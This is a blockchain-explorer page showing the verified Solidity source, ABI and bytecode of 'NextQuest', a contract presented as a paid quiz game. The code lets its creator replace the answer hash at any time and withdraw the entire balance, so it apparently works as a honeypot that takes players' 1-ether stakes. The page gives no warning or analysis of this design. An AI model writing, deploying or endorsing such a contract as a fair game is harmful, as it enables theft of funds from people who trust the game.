Contract Source Code (Solidity)

IDE

• Blockscan IDE
• 🤖 Code ReaderBeta
• Remix IDE

Outline

•  contract NextQuest *
•    - function Play(string resp)
•    - function()
•    - function Setup(string q, string resp)
•    - function Stop()
•    - function NewQuest(string q, bytes32 r ...

More Options

• Similar
• Sol2Uml
• Submit Audit
• Compare

/**
 *Submitted for verification at Etherscan.io on 2019-01-08
*/

contract NextQuest
{
    string public Question;
    address questionSender;
    bytes32 responseHash;

    function Play(string resp) public payable {
        require(msg.sender == tx.origin);
        if (responseHash == keccak256(resp) && msg.value >= 1 ether) {
            msg.sender.transfer(address(this).balance);
        }
    }

    function() public payable{}
 
    function Setup(string q, string resp) public payable {
        if (responseHash == 0x0) {
            responseHash = keccak256(resp);
            Question = q;
            questionSender = msg.sender;
        }
    }
    
    function Stop() public payable {
       require(msg.sender==questionSender);
       msg.sender.transfer(address(this).balance);
    }
    
    function NewQuest(string q, bytes32 respHash) public payable {
        require(msg.sender==questionSender);
        Question = q;
        responseHash = respHash;
    }
}

• No Contract Security Audit Submitted- Submit Audit Here

[{"constant":false,"inputs":[{"name":"q","type":"string"},{"name":"respHash","type":"bytes32"}],"name":"NewQuest","outputs":[],"payable":true,"stateMutability":"payable","type":"function"},{"constant":false,"inputs":[{"name":"resp","type":"string"}],"name":"Play","outputs":[],"payable":true,"stateMutability":"payable","type":"function"},{"constant":false,"inputs":[{"name":"q","type":"string"},{"name":"resp","type":"string"}],"name":"Setup","outputs":[],"payable":true,"stateMutability":"payable","type":"function"},{"constant":false,"inputs":[],"name":"Stop","outputs":[],"payable":true,"stateMutability":"payable","type":"function"},{"constant":true,"inputs":[],"name":"Question","outputs":[{"name":"","type":"string"}],"payable":false,"stateMutability":"view","type":"function"},{"payable":true,"stateMutability":"payable","type":"fallback"}]

608060405234801561001057600080fd5b5061055c806100206000396000f30060806040526004361061006c5763ffffffff7c0100000000000000000000000000000000000000000000000000000000600035041663117735f0811461006e578063648f0bde146100bc5780639668656014610108578063bedf0f4a14610192578063c8166a8a1461019a575b005b6040805160206004803580820135601f810184900484028501840190955284845261006c94369492936024939284019190819084018382808284375094975050933594506102249350505050565b6040805160206004803580820135601f810184900484028501840190955284845261006c9436949293602493928401919081908401838280828437509497506102629650505050505050565b6040805160206004803580820135601f810184900484028501840190955284845261006c94369492936024939284019190819084018382808284375050604080516020601f89358b018035918201839004830284018301909452808352979a99988101979196509182019450925082915084018382808284375094975061031b9650505050505050565b61006c6103b6565b3480156101a657600080fd5b506101af610407565b6040805160208082528351818301528351919283929083019185019080838360005b838110156101e95781810151838201526020016101d1565b50505050905090810190601f1680156102165780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b60015473ffffffffffffffffffffffffffffffffffffffff16331461024857600080fd5b815161025b906000906020850190610495565b5060025550565b33321461026e57600080fd5b806040518082805190602001908083835b6020831061029e5780518252601f19909201916020918201910161027f565b5181516020939093036101000a6000190180199091169216919091179052604051920182900390912060025414925050811590506102e45750670de0b6b3a76400003410155b15610318576040513390303180156108fc02916000818181858888f19350505050158015610316573d6000803e3d6000fd5b505b50565b600254151561031657806040518082805190602001908083835b602083106103545780518252601f199092019160209182019101610335565b51815160209384036101000a600019018019909216911617905260405191909301819003902060025550845161039293506000925090850190610495565b506001805473ffffffffffffffffffffffffffffffffffffffff1916331790555050565b60015473ffffffffffffffffffffffffffffffffffffffff1633146103da57600080fd5b6040513390303180156108fc02916000818181858888f19350505050158015610318573d6000803e3d6000fd5b6000805460408051602060026001851615610100026000190190941693909304601f8101849004840282018401909252818152929183018282801561048d5780601f106104625761010080835404028352916020019161048d565b820191906000526020600020905b81548152906001019060200180831161047057829003601f168201915b505050505081565b828054600181600116156101000203166002900490600052602060002090601f016020900481019282601f106104d657805160ff1916838001178555610503565b82800160010185558215610503579182015b828111156105035782518255916020019190600101906104e8565b5061050f929150610513565b5090565b61052d91905b8082111561050f5760008155600101610519565b905600a165627a7a7230582004c8c3db65407d6c64dc19aac1cf8438209bcd032c8e18e227412dad95ecc1bc0029

0x60806040526004361061006c5763ffffffff7c0100000000000000000000000000000000000000000000000000000000600035041663117735f0811461006e578063648f0bde146100bc5780639668656014610108578063bedf0f4a14610192578063c8166a8a1461019a575b005b6040805160206004803580820135601f810184900484028501840190955284845261006c94369492936024939284019190819084018382808284375094975050933594506102249350505050565b6040805160206004803580820135601f810184900484028501840190955284845261006c9436949293602493928401919081908401838280828437509497506102629650505050505050565b6040805160206004803580820135601f810184900484028501840190955284845261006c94369492936024939284019190819084018382808284375050604080516020601f89358b018035918201839004830284018301909452808352979a99988101979196509182019450925082915084018382808284375094975061031b9650505050505050565b61006c6103b6565b3480156101a657600080fd5b506101af610407565b6040805160208082528351818301528351919283929083019185019080838360005b838110156101e95781810151838201526020016101d1565b50505050905090810190601f1680156102165780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b60015473ffffffffffffffffffffffffffffffffffffffff16331461024857600080fd5b815161025b906000906020850190610495565b5060025550565b33321461026e57600080fd5b806040518082805190602001908083835b6020831061029e5780518252601f19909201916020918201910161027f565b5181516020939093036101000a6000190180199091169216919091179052604051920182900390912060025414925050811590506102e45750670de0b6b3a76400003410155b15610318576040513390303180156108fc02916000818181858888f19350505050158015610316573d6000803e3d6000fd5b505b50565b600254151561031657806040518082805190602001908083835b602083106103545780518252601f199092019160209182019101610335565b51815160209384036101000a600019018019909216911617905260405191909301819003902060025550845161039293506000925090850190610495565b506001805473ffffffffffffffffffffffffffffffffffffffff1916331790555050565b60015473ffffffffffffffffffffffffffffffffffffffff1633146103da57600080fd5b6040513390303180156108fc02916000818181858888f19350505050158015610318573d6000803e3d6000fd5b6000805460408051602060026001851615610100026000190190941693909304601f8101849004840282018401909252818152929183018282801561048d5780601f106104625761010080835404028352916020019161048d565b820191906000526020600020905b81548152906001019060200180831161047057829003601f168201915b505050505081565b828054600181600116156101000203166002900490600052602060002090601f016020900481019282601f106104d657805160ff1916838001178555610503565b82800160010185558215610503579182015b828111156105035782518255916020019190600101906104e8565b5061050f929150610513565b5090565b61052d91905b8082111561050f5760008155600101610519565b905600a165627a7a7230582004c8c3db65407d6c64dc19aac1cf8438209bcd032c8e18e227412dad95ecc1bc0029

bzzr://04c8c3db65407d6c64dc19aac1cf8438209bcd032c8e18e227412dad95ecc1bc